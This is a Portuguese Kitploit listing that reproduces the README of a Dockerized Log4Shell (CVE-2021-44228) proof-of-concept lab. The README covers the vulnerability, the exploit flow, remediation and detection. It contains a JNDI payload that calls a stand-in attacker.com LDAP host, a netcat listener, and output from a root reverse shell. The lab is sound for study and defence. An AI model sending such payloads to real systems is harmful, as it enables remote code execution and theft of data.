Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
log4shell — PoC do Log4Shell (CVE-2021-44228) | Kitploit
Ferramentas/GitHubGitHub/arabindadora/log4shell
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoFerramenta de Acesso RemotoLabs e Prática
GitHubarabindadora/log4shell

log4shell

PoC do Log4Shell (CVE-2021-44228)

Ver Repositório
2há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Log4Shell (CVE-2021-44228) PoC

Objetivo

Reproduzir, explorar e remediar um CVE crítico conhecido num ambiente Dockerizado.

Este PoC demonstra CVE-2021-44228 (Log4Shell) numa aplicação Spring Boot.

1. Descrição da vulnerabilidade

CVE: 2021-44228

CVSS: 10.0 (Crítico)

Componente afetado: Apache Log4j (<= 2.14.1)

Como o pacote funciona

  • O Log4j é uma biblioteca de logging Java muito popular.
  • Suporta lookups (${...}) para resolver dinamicamente valores dentro de mensagens de log.
  • Um destes lookups é o JNDI, que pode obter valores via LDAP.

Como funciona a vulnerabilidade

  • O atacante envenena a aplicação da vítima com uma string de lookup JNDI maliciosa, como ${jndi:ldap://attacker.com:1389/a}.
  • A aplicação da vítima, com uma versão vulnerável do Log4j, avalia a string maliciosa durante o logging.
Baixar ferramenta
  • Isto aciona um pedido JNDI para o servidor LDAP controlado pelo atacante.
  • O servidor LDAP responde com uma referência maliciosa para bytecode Java externo.
  • A JVM da vítima carrega o bytecode e executa-o, resultando em Execução Remota de Código (RCE).
  • Como funciona o exploit

    1. A aplicação da vítima faz log da entrada fornecida pelo atacante a partir de um cabeçalho HTTP.
    2. O servidor LDAP do atacante responde com uma referência para Exploit.class.
    3. A vítima obtém o Exploit.class via HTTP.
    4. O inicializador estático em Exploit é executado, lançando uma reverse shell de volta para o atacante.

    2. Risco

    • Impacto: RCE não autenticado - gravidade máxima possível.

    • Quem/o quê está em risco:

      • Qualquer aplicação Java que utilize Log4j <= 2.14.1.
      • Serviços expostos à Internet e serviços internos que registam entrada controlada pelo utilizador (por exemplo, cabeçalhos HTTP).
    • Consequências:

      • Comprometimento do sistema (acesso a shell).
      • Exfiltração de dados.
      • Pivoting para redes internas.
      • Evasão de defesas perimetrais (ataques através de serviços internos).

    3. Prova de conceito

    Pré-requisitos

    1. docker + docker-compose
    2. netcat
    3. make

    Construir e iniciar

    root@kitploit:~
    make build start
    

    Explorar

    1. Inicie um listener netcat:
    root@kitploit:~
    nc -l 4444
    
    1. Acione o exploit:
    root@kitploit:~
    make exploit
    
    1. O Netcat recebe uma reverse shell da vítima:
    root@kitploit:~
    /bin/sh: can't access tty; job control turned off
    $ id
    uid=0(root) gid=0(root) groups=0(root) ...
    

    4. Remediação

    Correção preferida

    • Atualize para o Log4j 2.17.1 ou superior.
    • Esta é a única correção completa e de longo prazo. Versões anteriores corrigiram parcialmente, mas ainda deixaram exposições:
      • CVE-2021-45046: RCE através de configuração de logging não predefinida
      • CVE-2021-45105: DoS através de lookups autorreferenciais
      • CVE-2021-44832: RCE através de determinadas configurações do appender JDBC
    root@kitploit:~
    make patch
    make build start
    nc -l 4444
    make exploit
    # -> observe no reverse shell
    

    Mitigações provisórias (se a atualização não for possível)

    1. Ganhar tempo
    • Restringir strings de exploit de entrada (padrões ${jndi:) com um WAF ou middleware.
    • Restringir LDAP de saída dos servidores de aplicação com filtragem de egress.
    1. Desativar lookups:
    root@kitploit:~
    -Dlog4j2.formatMsgNoLookups=true
    
    1. Reforçar a JVM:
    root@kitploit:~
    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
    

    Mitigações operacionais

    1. Auditar dependências e runtime
    • Gerar um SBOM (gradle dependencies, Snyk, Wiz, etc.).
    • Procurar por log4j-core-*.jar em imagens/servidores implementados, incluindo fat JARs.
    • Fazer triagem e priorizar mitigações para as cargas de trabalho de maior risco.
    1. Monitorizar e detetar
    • Estar atento a tentativas de exploit nos logs (${jndi:...}, ${${lower:j}ndi:...}, etc.).
    • Monitorizar o tráfego LDAP de saída para detetar callbacks.
    • Tratar os resultados como potenciais comprometimentos, escalar para resposta a incidentes (investigação forense, remoção de artefactos maliciosos, rotação de segredos, etc.).
    1. Patches dos fornecedores
    • Acompanhar os advisories dos fornecedores (por exemplo, Elasticsearch) - muitos incluem Log4j incorporado.
    • Aplicar hotfixes ou workarounds fornecidos até que patches oficiais estejam disponíveis.
    1. Melhorias estratégicas
    • Aplicar a política de "negar por padrão" na filtragem de tráfego de saída.
    • Aplicar a análise de dependências no CI/CD.
    • Formalizar playbooks de resposta para que as equipas saibam exatamente o que fazer durante a próxima vulnerabilidade de "CVSS 10.0".
    • Realizar exercícios de resiliência/tabletops para testar a prontidão para um novo incidente da "classe Log4Shell".

    5. Referências

    • Avisos de Segurança da Apache